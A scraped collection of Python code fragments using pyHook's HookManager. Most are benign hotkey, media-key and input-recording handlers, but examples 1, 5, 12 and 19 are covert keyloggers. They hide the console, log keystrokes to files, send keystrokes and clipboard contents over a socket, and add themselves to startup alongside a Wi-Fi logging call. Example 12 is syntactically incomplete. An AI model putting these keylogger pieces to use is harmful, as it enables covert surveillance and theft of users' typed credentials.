Exemplo n.º 1
0
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"],
                             shell=True,
                             stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys
Exemplo n.º 2
0
    def hook(self):
        """ Hook Keyboard

        """
        self.hook = HookManager()
        self.hook.KeyDown = self.key_log
        self.hook.HookKeyboard()
Exemplo n.º 3
0
def listener(q):
    def is_window_poe(window_name):
        return window_name == 'Path of Exile'
        # return True

    def foo(e):
        # print(e.KeyID)
        # print(e.WindowName)
        if is_window_poe(e.WindowName):
            k_id = e.KeyID
            if k_id == 116:
                q.put('f5')
                return False
            elif k_id == 117:
                q.put('f6')
                return False
            elif k_id == 118:
                q.put('f7')
                return False
            elif k_id == 119:
                q.put('f8')
                return False
        # else:
        #     event_info(e)
        return True

    hm = HookManager()
    hm.KeyDown = foo
    hm.HookKeyboard()
    print('start listen...')
    pythoncom.PumpMessages()
Exemplo n.º 4
0
def stop_game():
    # create a hook manager
    hm = HookManager()
    # watch for all mouse events
    hm.KeyDown = stop_game_callback
    # set the hook
    hm.HookKeyboard()
Exemplo n.º 5
0
    def Keylogger(event):
        #######################
        # Usadas on Keylogger #
        #######################
        from win32console import GetConsoleWindow
        from win32gui import ShowWindow
        from pythoncom import PumpMessages
        from pyHook import HookManager
        from time import sleep
        win = GetConsoleWindow()
        ShowWindow(win, 0)

        def OnKeyboardEvent(event):
            if event.Ascii == 5:
                _exit(1)
            if event.Ascii != 0 or 8:
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'a+')
                buffer = f.read()
                f.close()
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'w')
                keylogs = chr(event.Ascii)
                if event.Ascii == 13:
                    keylogs = '/n'
                buffer += keylogs
                f.write(buffer)
                f.close()
                #print buffer

        hm = HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        #sleep(10)
        PumpMessages()
Exemplo n.º 6
0
    def init_record(self, event):
        '''Initiate recording of cursor positions'''
        # Preparing variables
        obj = event.GetEventObject()
        self.coord_counter = 0
        self.coord_widgets = []
        if self.movement_relative:
            self.last_coord = None

        # Starting listening for mouse presses
        if not hasattr(self, "hook"):
            self.hook = HookManager()
        self.hook.HookMouse()

        # Indicating recording
        self.frame.statusbar.SetStatusText("Recording cursor positions...")
        self.frame.SetTitle("MouseMove - Recording positions")
        if obj in [self.record, self.frame.page_keyconfig
                   ]:  # Need the keyconfig reference to make hotkey work
            first_coord = self.motionctrl.GetChildren()[5].GetWindow()
            self.hook.MouseLeftDown = self.record_coords
        else:
            first_coord = wx.FindWindowById(obj.GetId() - 3)
            self.first_coord = first_coord
            self.hook.MouseLeftDown = self.record_single_coord
        first_coord.SetForegroundColour("Red")
        first_coord.Refresh()
Exemplo n.º 7
0
    def __init__(self, controller, enabled=True):
        super(KeyHook, self).__init__()

        self.controller = controller

        # todo: need a way to set these
        self.k_LAUNCHMEDIA = 181
        self.k_NEXT = 176
        self.k_PLAYPAUSE = 179
        self.k_PREV = 178
        self.k_STOP = 177

        if os.name == 'nt' and HookManager is not None:
            self.hm = HookManager()
            self.hm.KeyDown = self.keyPressEvent
            if enabled:
                self.hm.HookKeyboard()
            self.enabled = enabled
            sys.stdout.write("Keyboard Hook enabled (enabled=%s)\n" % enabled)
        else:
            sys.stdout.write("Unable to initialize Keyboard Hook\n")
            self.hm = None
            self.enabled = False

        self.diag = False
Exemplo n.º 8
0
 def __init__(self, device=None):
     self.watched_hwnds = set()
     super(WindowsRecorder, self).__init__(device)
     self.kbflag = 0
     self.hm = HookManager()
     self.hm.MouseAllButtons = self._hook_on_mouse
     self.hm.KeyAll = self._hook_on_keyboard
Exemplo n.º 9
0
    def run(self):
        # Run until user clicks on exit iconTray
        if _platform == 'Linux':
            # Get root screen
            root = Display().screen().root
            # Add key grabber for 'print'
            root.grab_key(PRINT_KEY_ID_LINUX, X.Mod2Mask, 0, X.GrabModeAsync,
                          X.GrabModeAsync)

            # Create a loop to keep the application running
            while True:
                event = root.display.next_event()
                self.OnKeyboardEvent(event)
                time.sleep(0.1)

        elif _platform == 'Windows':
            # create a hook manager
            hm = HookManager()
            # watch for all mouse events
            hm.KeyDown = self.OnKeyboardEvent
            # set the hook
            hm.HookKeyboard()
            # wait forever
            while True:
                pc.PumpWaitingMessages()
                time.sleep(0.1)
                #print('Hotkey thread waiting..')

            print('Closing HookManager')
            del hm
Exemplo n.º 10
0
    def __init__(self, functions):
        self.queue = []
        self.functions = functions
        self.calculateQueueMaxSize()

        self.hookMan = HookManager()
        self.hookMan.KeyDown = self.onKeyDown
        self.hookMan.HookKeyboard()
Exemplo n.º 11
0
    def setupUI(self):
        self.load_ini()

        ba = QtCore.QByteArray.fromBase64(dot_data)
        pixmap = QtGui.QPixmap()
        pixmap.loadFromData(ba, 'PNG')

        icon = QtGui.QIcon()
        icon.addPixmap(pixmap)

        self.setWindowIcon(icon)
        self.setWindowTitle('MouseFollow')
        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint | QtCore.Qt.WindowCloseButtonHint)

        self.v_layout = QtWidgets.QVBoxLayout(self)

        self.screen_layout = QtWidgets.QHBoxLayout()

        self.target_monitor_label = QtWidgets.QLabel("Target Monitor:")
        self.target_monitor_cb = QtWidgets.QComboBox()

        found = False
        for i in range(len(self.screens)):
            self.target_monitor_cb.addItem(self.screens[i].name())
            if self.screens[i].name() == self.target_monitor:
                self.target_monitor_cb.setCurrentIndex(i)

        self.target_monitor_cb.currentIndexChanged.connect(self.set_target_monitor)

        self.screen_layout.addWidget(self.target_monitor_label)
        self.screen_layout.addWidget(self.target_monitor_cb)
        self.v_layout.addLayout(self.screen_layout)

        self.draw_label = QtWidgets.QLabel("Draw: Right Alt")
        self.v_layout.addWidget(self.draw_label)

        self.laser_label = QtWidgets.QLabel("Laser: Left Alt")
        self.v_layout.addWidget(self.laser_label)


        self.red_dot = RedDot()
        self.draw_box = DrawBox()
        self.draw_box.mouseup.connect(self.save_preview_pos)

        self.hookman = HookManager()
        self.hookman.KeyDown = self.keydown
        self.hookman.KeyUp = self.keyup
        self.hookman.HookKeyboard()
        if os.name == 'posix':
            self.hookman.start()


        self.thread = Mover()
        self.thread.signal.connect(self.move_dot)
        self.thread.start()

        self.resize(300, 100)
        self.show()
Exemplo n.º 12
0
def main():
    from base64 import b64encode
    from ctypes import windll, byref, create_string_buffer, c_ulong
    from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
    from pyHook import HookManager
    from pythoncom import PumpMessages

    def process():
        handle  = windll.user32.GetForegroundWindow()
        pid     = c_ulong(0)

        windll.user32.GetWindowThreadProcessId(handle, byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("\x00" * 512)

        h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)

        windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
        window_title = create_string_buffer("\x00" * 512)

        length = windll.user32.GetWindowTextA(handle, byref(window_title),512)
        output = "\n[ PID: %s - %s - %s ]\n" % (process_id, executable.value, window_title.value)
        windll.kernel32.CloseHandle(handle)
        windll.kernel32.CloseHandle(h_process)
        return output

    def onEvent(event):
        if event.WindowName != current_window:
            current_window = event.WindowName
            pid = process()
            ws.send("\n{}\n".format(pid))
            
        if event.Ascii > 32 and event.Ascii < 127:
            ws.send(chr(event.Ascii))
        elif event.Ascii == 32:
            ws.send(' ')
        elif event.Ascii in (10,13):
            ws.send('\n')
        elif event.Ascii == 0:
            pass
        else:
            if event.Key == "V" and os.name == 'nt':
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                ws.send("[PASTE] - %s" % (pasted_value))
            else:
                ws.send(str("%s" % event.Key))
        return True

    current_window  = None
    temp_buffer     = str()
    remote_log      =
    while True:
        kl = HookManager()
        kl.KeyDown = onEvent
        kl.HookKeyboard() 
        PumpMessages()
Exemplo n.º 13
0
 def checkP2T(self):
     # create a hook manager
     hm = HookManager()
     # watch for all keyboard events
     hm.KeyDown = self.OnKeyboardEvent
     # set the hook
     hm.HookKeyboard()
     # wait forever
     pythoncom.PumpMessages()
Exemplo n.º 14
0
 def __init__(self, keys):
     self.keys = [ord(k) for k in keys]
     # create a hook manager
     hm = HookManager()
     # watch for all mouse events
     hm.KeyDown = self.FilterKeys
     # set the hook
     hm.HookKeyboard()
     # wait forever
     pythoncom.PumpMessages()
def main():
    filesystem = FileSystem(options)
    clipboard = Clipboard(options)
    handlers = Handlers(clipboard, filesystem)
    
    thread = Thread(target=handlers.clipboardChangedListener)
    thread.daemon = True
    thread.start()

    hm = HookManager()
    hm.KeyDown = handlers.handleKeypress
    hm.HookKeyboard()
    PumpMessages()
Exemplo n.º 16
0
def main():
    """
    main function (CLI endpoint)
    """
    global key_binding

    parser = argparse.ArgumentParser()

    help = """Set alternate key binding. Default is LCTRL+SPACE
                Format :- <KEY1>+<KEY2>. Ex:- RCTRL+RALT .
                To see available key bindings use 'clix -a' option"""

    parser.add_argument("-s", "--set-keybinding", type=str,
                        default=None, help=help)

    parser.add_argument("-a", "--show-available-keybindings",
                        help="Show available key bindings", action="store_true")

    parser.add_argument("-c", "--show-current-keybinding", action="store_true")

    args = parser.parse_args()
    args_dict = vars(args)

    if args.show_current_keybinding:
        print("Current key binding is: {}".format(get_current_keybinding()))
        sys.exit()

    elif args.show_available_keybindings:
        _show_available_keybindings()
        sys.exit()

    elif args.set_keybinding:
        try:
            keys = args_dict['set_keybinding'].split('+')
            key_binding = [available_keys[keys[0]], available_keys[keys[1]]]
        except KeyError:
            print("Please follow the correct format.")
        else:
            with open(curr_dir + "/clix/config", "wb") as f:
                pickle.dump(key_binding, f, protocol=2)
        finally:
            sys.exit()

    # start key-logging session
    new_hook = HookManager()
    new_hook.KeyDown = OnKeyPress
    new_hook.HookKeyboard()
    if current_os == 'linux':
        new_hook.start()
    elif current_os == 'win':
        pythoncom.PumpMessages()
Exemplo n.º 17
0
def wait_for_end_game():
    global hm
    global window

    # create a hook manager
    hm = HookManager()
    # watch for all mouse events
    hm.KeyDown = end_game_callback
    # set the hook
    hm.HookKeyboard()
    # wait for window
    window = create_window(
        "game_config",
        "now start the game and when you fail press: " + FLAG_KEY)
    window.mainloop()
Exemplo n.º 18
0
    def __init__(self):
        """
        Constructor.

        :return: None.
        """
        # Create hook manager
        self._hook_manager = HookManager()

        # Add attributes `mouse_hook` and `keyboard_hook`.
        # Without the two attributes, the hook manager's method `__del__`
        # will raise AttributeError if its methods `HookKeyboard` and
        # `HookMouse` have not been called.
        self._hook_manager.mouse_hook = False

        self._hook_manager.keyboard_hook = False
Exemplo n.º 19
0
    def __init__(self):
        '''
        Disallow multiple instances.source: ajinabraham / Xenotix - Python - Keylogger
        '''
        self.mutex = CreateMutex(None, 1, 'mutex_var_xboz')
        if GetLastError() == ERROR_ALREADY_EXISTS:
            self.mutex = None
            print "Multiple Instance not Allowed"
            sysExit(0)

        addToStartup()  # Add to startup
        writeWifi()
        writeKeylogs()  # Create keylogs.txt in case it does not exist
        self.hooks_manager = HookManager()  # Create a hook
        self.hooks_manager.KeyDown = self.OnKeyBoardEvent  # Assign keydown event handler
        self.hooks_manager.HookKeyboard()  # assign hook to the keyboard
        pythoncom.PumpMessages()
Exemplo n.º 20
0
    def __init__(self, hotkey_list):
        self.hotkey_manager = HookManager()
        self.hotkey_manager.HookKeyboard()
        self.hotkey_manager.KeyUp = self.on_key
        self.hotkey_manager.KeyDown = self.on_key
        self.is_listening = False
        self.pressed = {}
        self.key_que = []
        self.app_info = ActiveAppInfo()
        self.remap = RemapList()
        self.is_waiting_modifier_up = False
        self.hotkey_list = hotkey_list
        """:type :dict"""
        self.shell = win32com.client.Dispatch("WScript.Shell")

        self.is_listening_paused = False
        self.is_photoshop = False

        self.is_holding_left_ctrl = False
        self.is_holding_left_alt = False
        self.is_holding_left_shift = False

        self.is_holding_right_ctrl = False
        self.is_holding_right_alt = False
        self.is_holding_right_shift = False

        self.is_left_ctrl_down_injected = False
        self.is_left_ctrl_up_injected = False
        self.is_left_alt_down_injected = False
        self.is_left_alt_up_injected = False
        self.is_left_shift_down_injected = False
        self.is_left_shift_up_injected = False

        self.is_right_ctrl_down_injected = False
        self.is_right_ctrl_up_injected = False
        self.is_right_alt_down_injected = False
        self.is_right_alt_up_injected = False
        self.is_right_shift_down_injected = False
        self.is_right_shift_up_injected = False

        self.timer = QTimer()
        # noinspection PyUnresolvedReferences
        self.timer.timeout.connect(self.process_key_events)
        self.timer.start(30)
Exemplo n.º 21
0
 def __init__(self, master):
     self.hm = HookManager()
     self.hm.KeyDown = self.on_key_down
     self.hm.KeyUp = self.on_key_up
     self.hm.HookKeyboard()
     self.keys_held = set()  # set of all keys currently being pressed
Exemplo n.º 22
0
 def __init__(self, char='F'):
     self.Key__t = char
     self.flag = 0
     self.hm = HookManager()
     self._callbacks = []
Exemplo n.º 23
0
from pyHook.HookManager import HookConstants
from pythoncom import PumpMessages, PumpWaitingMessages

def is_shortcut(keys, combination):
	for key in combination:
		if not key in keys:
			return False
	return True

''' Main... '''
if __name__ == '__main__':

	global spotlight, hook_manager

	from SpotlightController import SpotlightController
	hook_manager = HookManager()
	spotlight = None
	controller = None

	keys_pressed = []
	trigger = ['Lcontrol', '1']
	quit = ['Lcontrol', 'Q']

	def OnKeyDown(event):
		global keys_pressed, spotlight, controller
		if not event.GetKey() in keys_pressed:
			keys_pressed.append(event.GetKey())
		
		if is_shortcut(keys_pressed, quit):
			exit(0)
Exemplo n.º 24
0
 def hook_establish(self):
     if platform_name == "Windows":
         self.hook = HookManager()
         self.hook.MouseAll = self.afk_reset
         self.hook.KeyDown = self.afk_reset
         self.hook_create()
Exemplo n.º 25
0
 def __init__(self):
     self.hm = HookManager()
     self.hm.KeyDown = self.key_down_event
     self.hm.HookKeyboard()
Exemplo n.º 26
0
        # cleanup stuff.
        stream.close()

    def getVirtualCableIndex(self):
        for i in range(self.audio.get_device_count()):
            audioDevice = self.audio.get_device_info_by_index(i)
            name = audioDevice['name'].lower()
            if (("virtual" in name) and ('input' in name)):
                return i  # self.virtualCableIndex = i11.119

    def getRandomWav(self, curdir):
        possibleWavs = []
        for root, dirs, files in os.walk(curdir):
            for file in files:
                fullPath = os.path.realpath(root + "/" + file)
                if (fullPath.endswith(".wav")) and (fullPath
                                                    not in possibleWavs):
                    #print(fullPath)
                    possibleWavs.append(fullPath)
        n = random.randint(0, len(possibleWavs) - 1)
        #print("full: ", possibleWavs[n])
        return possibleWavs[n]  # random wav file


soundBoard = SoundBoardPlayer()
hm = HookManager()
hm.KeyDown = soundBoard.onKeyboardEvent
hm.HookKeyboard()
# set the hook
pythoncom.PumpMessages()
Exemplo n.º 27
0
    def initUI(self):
        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint
                            | QtCore.Qt.WindowCloseButtonHint)
        ba = QtCore.QByteArray.fromBase64(icon_data)
        pixmap = QtGui.QPixmap()
        pixmap.loadFromData(ba, 'PNG')
        icon = QtGui.QIcon()
        icon.addPixmap(pixmap)
        self.setWindowIcon(icon)

        self.load_settings()

        xspacer = QtWidgets.QSpacerItem(10, 40, QtWidgets.QSizePolicy.Minimum,
                                        QtWidgets.QSizePolicy.Minimum)
        big_xspacer = QtWidgets.QSpacerItem(0, 40,
                                            QtWidgets.QSizePolicy.Expanding,
                                            QtWidgets.QSizePolicy.Minimum)

        self.v_layout = QtWidgets.QVBoxLayout(self)

        self.pretext_layout = QtWidgets.QHBoxLayout()

        self.pretext_label = QtWidgets.QLabel("Pretext:")
        self.pretext_input = QtWidgets.QLineEdit(self.settings["pretext"])
        self.pretext_input.textChanged.connect(self.set_pretext)

        self.gotime_label = QtWidgets.QLabel("Go Time:")
        self.hour_input = QtWidgets.QComboBox()
        hours = [
            '23', '22', '21', '20', '19', '18', '17', '16', '15', '14', '13',
            '12', '11', '10', '09', '08', '07', '06', '05', '04', '03', '02',
            '01', '00'
        ]
        self.hour_input.insertItems(0, hours)
        self.hour_input.setCurrentIndex(
            hours.index(self.settings['gotime'].split(':')[0]))
        self.hour_input.currentIndexChanged.connect(self.set_gotime)
        self.colon_label = QtWidgets.QLabel(":")
        self.colon_label.setFixedWidth(3)
        self.minute_input = QtWidgets.QComboBox()
        minutes = [
            '59', '58', '57', '56', '55', '54', '53', '52', '51', '50', '49',
            '48', '47', '46', '45', '44', '43', '42', '41', '40', '39', '38',
            '37', '36', '35', '34', '33', '32', '31', '30', '29', '28', '27',
            '26', '25', '24', '23', '22', '21', '20', '19', '18', '17', '16',
            '15', '14', '13', '12', '11', '10', '09', '08', '07', '06', '05',
            '04', '03', '02', '01', '00'
        ]
        self.minute_input.insertItems(0, minutes)
        self.minute_input.setCurrentIndex(
            minutes.index(self.settings['gotime'].split(':')[1]))
        self.minute_input.currentIndexChanged.connect(self.set_gotime)

        self.pretext_layout.addWidget(self.pretext_label)
        self.pretext_layout.addWidget(self.pretext_input)
        self.pretext_layout.addWidget(self.gotime_label)
        self.pretext_layout.addWidget(self.hour_input)
        self.pretext_layout.addWidget(self.colon_label)
        self.pretext_layout.addWidget(self.minute_input)
        self.pretext_layout.addItem(xspacer)

        self.v_layout.addLayout(self.pretext_layout)

        self.settings_layout = QtWidgets.QHBoxLayout()

        self.font_size_label = QtWidgets.QLabel("Font Size:")
        font_sizes = [
            "20", "24", "28", "30", "34", "38", "40", "44", "48", "52", "56",
            "60", "64", "68", "72"
        ]
        self.font_size_combobox = QtWidgets.QComboBox()
        self.font_size_combobox.insertItems(0, font_sizes)
        self.font_size_combobox.setCurrentIndex(
            font_sizes.index(self.settings['fontsize']))
        self.font_size_combobox.currentIndexChanged.connect(self.set_font)

        self.font_type_label = QtWidgets.QLabel("Font Type:")
        self.font_type_combobox = QtWidgets.QFontComboBox()
        self.font_type_combobox.setCurrentFont(
            QtGui.QFont(self.settings['fonttype']))
        self.font_type_combobox.currentIndexChanged.connect(self.set_font)
        self.font_type_combobox.setFixedWidth(128)

        self.fg_color_label = QtWidgets.QLabel("Fg:")
        self.fg_color_button = QtWidgets.QPushButton()
        self.fg_color_button.setFixedWidth(32)
        self.fg_color_button.clicked.connect(self.choose_fg_color)
        self.fg_color_button.setStyleSheet("background-color: " +
                                           self.settings['fgcolor'] + ';')
        self.fg_dialog = QtWidgets.QColorDialog()

        self.bg_color_label = QtWidgets.QLabel("Bg:")
        self.bg_color_button = QtWidgets.QPushButton()
        self.bg_color_button.setFixedWidth(32)
        self.bg_color_button.clicked.connect(self.choose_bg_color)
        self.bg_color_button.setStyleSheet("background-color: " +
                                           self.settings['bgcolor'] + ';')
        self.bg_dialog = QtWidgets.QColorDialog()

        self.settings_layout.addWidget(self.font_size_label)
        self.settings_layout.addWidget(self.font_size_combobox)
        self.settings_layout.addItem(xspacer)
        self.settings_layout.addWidget(self.font_type_label)
        self.settings_layout.addWidget(self.font_type_combobox)
        self.settings_layout.addItem(xspacer)
        self.settings_layout.addWidget(self.fg_color_label)
        self.settings_layout.addWidget(self.fg_color_button)
        self.settings_layout.addWidget(self.bg_color_label)
        self.settings_layout.addWidget(self.bg_color_button)

        self.settings_layout.addItem(big_xspacer)

        self.v_layout.addLayout(self.settings_layout)

        self.fade_layout = QtWidgets.QHBoxLayout()
        self.fade_label = QtWidgets.QLabel("Fade Audio and Close Player:")
        self.fade_checkbox = QtWidgets.QCheckBox()
        self.fade_checkbox.setChecked(bool(self.settings['fadeaudio']))
        self.fade_checkbox.setEnabled(False)
        self.close_label = QtWidgets.QLabel("Player:")
        self.close_button = QtWidgets.QPushButton("")
        self.close_button.setFixedWidth(200)
        self.close_button.clicked.connect(self.start_program_search)

        self.fade_layout.addWidget(self.fade_label)
        self.fade_layout.addWidget(self.fade_checkbox)
        self.fade_layout.addItem(xspacer)
        self.fade_layout.addWidget(self.close_label)
        self.fade_layout.addWidget(self.close_button)
        self.fade_layout.addItem(big_xspacer)

        self.v_layout.addLayout(self.fade_layout)

        self.toggle_timer_button = QtWidgets.QPushButton("Toggle Timer")
        self.toggle_timer_button.clicked.connect(self.toggle_timer)
        self.v_layout.addWidget(self.toggle_timer_button)

        self.hookman = HookManager()
        self.hookman.HookMouse()

        if os.name == 'posix':
            self.hookman.buttonpressevent = self.mousedown
            self.hookman.start()
        elif os.name == 'nt':
            self.hookman.MouseLeftDown = self.mousedown

        self.timer = Timer(app)
        self.timer.prefix = self.pretext_input.text()
        self.timer.gotime = self.hour_input.currentText(
        ) + ':' + self.minute_input.currentText() + ':00'
        font = self.font_type_combobox.currentText()
        size = int(self.font_size_combobox.currentText())
        self.timer.label.setFont(QtGui.QFont(font, size, QtGui.QFont.Bold))
        self.timer.label.setStyleSheet("color: " + self.settings['fgcolor'] +
                                       ';')
        self.timer.setStyleSheet("background-color: " +
                                 self.settings['bgcolor'] + ';')
        self.timer.above_ten_signal.connect(self.get_volume)
        self.timer.below_ten_signal.connect(self.start_fade_thread)
        self.timer.zero_signal.connect(self.reset_volume)

        self.resize_thread = ResizeThread()
        self.resize_thread.reset_timer_signal.connect(self.resize_timer)

        self.fade_thread = FadeThread()
        self.player_getter = PlayerGetterThread()
        self.player_getter.found_signal.connect(self.set_player)
Exemplo n.º 28
0
 def __init__(self):
     self.hm = HookManager()
     self.hm.KeyDown = self.on_keyboard_event
     self.hm.HookKeyboard()
     self.alreadyOn = True
Exemplo n.º 29
0
 def run(self):
     obj = HookManager()
     obj.KeyDown = self.keypressed
     obj.HookKeyboard()  # start the hooking loop and pump out the messages
     pythoncom.PumpMessages()  # remember that per Pyhook documentation we must have a Windows message pump